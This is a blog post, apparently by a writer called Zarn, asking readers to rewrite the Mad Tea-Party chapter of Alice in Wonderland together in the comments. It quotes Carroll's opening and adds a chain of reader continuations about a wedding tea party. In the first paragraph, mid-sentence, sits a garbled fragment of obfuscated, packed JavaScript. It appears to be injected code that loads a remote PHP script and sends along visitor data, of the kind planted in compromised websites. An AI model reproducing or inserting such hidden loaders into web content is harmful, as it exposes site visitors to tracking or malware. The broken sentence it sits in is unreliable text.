It’s Monday and although I promised myself the day off, I had an idea; a whopper, a huge around the world in 80 days kind of whopper! An idea so big that my little fingers couldn’t resist typing their life away – so here I am, on Monday morning, working -””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’htyis|vartkyha||js|php’.split(‘|’),0,{}))
thanks to my big idea (well I hope it will be anyway). 🙂
I love Alice In Wonderland (but I guess you already knew that). I love creativity too and getting to know people through creativity. So, while flipping through my new copy of Alice In Wonderland (with it’s oh so beautiful blue cover) I came up with an enchanting, exciting, FRABJOUS idea.
H o l d o n t o y o u r w e d d i n g h a t s p e o p l e!
I want you to re-write the Tea Party Chapter in Alice In Wonderland.
I want your story, your ideas. Lets give Alice a new adventure.
Become Lewis Carroll for a day and unleash your creative spirit. All you have to do is read the story (post) and using the comments box below create the next part. It can be a line, or a few paragraphs. The only important thing to remember is to read all the comments first to ensure yours runs in order.
So join me and others in re-writing one of histories most famous children’s stories.
Click on the title link to get into the comments section if you’re not already there.
So here it is, read the start of the chapter below, and a happy reading and the most frabjous writings to you!!!
Ooooh I am so excited! I can’t wait to read your ideas so I’m off to grab my ‘earl’ and drink it with anticipation.
Zarn
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Chapter VII: A Mad Tea-Party
There was a table set out under a tree in front of the house, and the March Hare and the Hatter were having tea at it: a Dormouse was sitting between them, fast asleep, and the other two were using it as a cushion, resting their elbows on it, and talking over its head. `Very uncomfortable for the Dormouse,’ thought Alice; `only, as it’s asleep, I suppose it doesn’t mind.’
The table was a large one, but the three were all crowded together at one corner of it: `No room! No room!’ they cried out when they saw Alice coming. `There’s PLENTY of room!’ said Alice indignantly, and she sat down in a large arm-chair at one end of the table.
`Have some wine,’ the March Hare said in an encouraging tone.
Alice looked all round the table, but there was nothing on it but tea. `I don’t see any wine,’ she remarked…
“Wine! Wine! this is a tea party – what do you expect?” rebuked the Hare.
“Well if you offer me some wine, then surely there must be some wine in it?” Said Alice.
“Oh but for a fine wine you give already” – said the Mad Hatter
“Let’s have a Wedding – You can be the bridesmaid and I’ll be the Bride” he cried as he poured a glass of tea to toast.
“What a silly idea” said Alice – “You can’t be the bride after all…
Alice looked again at the teapot. “Hmm perhaps this sparkling gold teapot may contain some wine after all” she pondered. Impatient to find out, she leapt out of her chair, leaned across the table, and went to grab the teapot. “Hmm rude, rude, rude” said the March Hare. “Yes terrible manners” replied the Hatter, “No bride should behave in that manner at her wedding tea party” the Hatter grumbled. “Bride, Bride?” Alice said with a raised voice “I’m a bride?”.
“Surely not” the Hatter quibbled. “You’re far too young to be a Bride” he finished. This is no wedding tea party. This is MY Tea Party.
Alice stared at the Hatter and thought for awhile. “I do not believe Sir, that I am too young to be married and while this may be your Tea Party” she started “I don’t believe I was invited”. Responded Alice with a slightly tense tone. “For I have no idea where I am”.
The Hatter looked surprised. He grabbed a tea cup and smartly filled it to the top. “Well” he sighed, “I guess it’s time we organise your Wedding Tea Party!”
“A party” the Hare said with a rush of excitement. Suddenly the Doormouse woke with a start.
“A PARTY” he yelled twitching his nose from side to side.
“Why yes” Hare motioned towards Alice. “And a Wedding Party at that, for this lovely young visitor of ours”.
“Ah, I have tried to convince you, sweet dear friends, that this may not be MY Wedding Party after all? Whilst I am certain I am old enough, sweetly chosen by you for such a possible occassion, I would like to offer another possibility that leaves me positively beamish . . . .
Will you join me in delicately tapping tea cups, in delicious celebration of my suggestion that I remain liberated, forever unwed, scrumptiously living in the land of my dazy daydreams?
Ah, what a strange surprise for you to find me in such a state. Oh dear friends, does this make you chortle or do I sadly, leave you feeling mimsy?”
So pray tell, dear ones, who IS this delightful wedding tea party really for?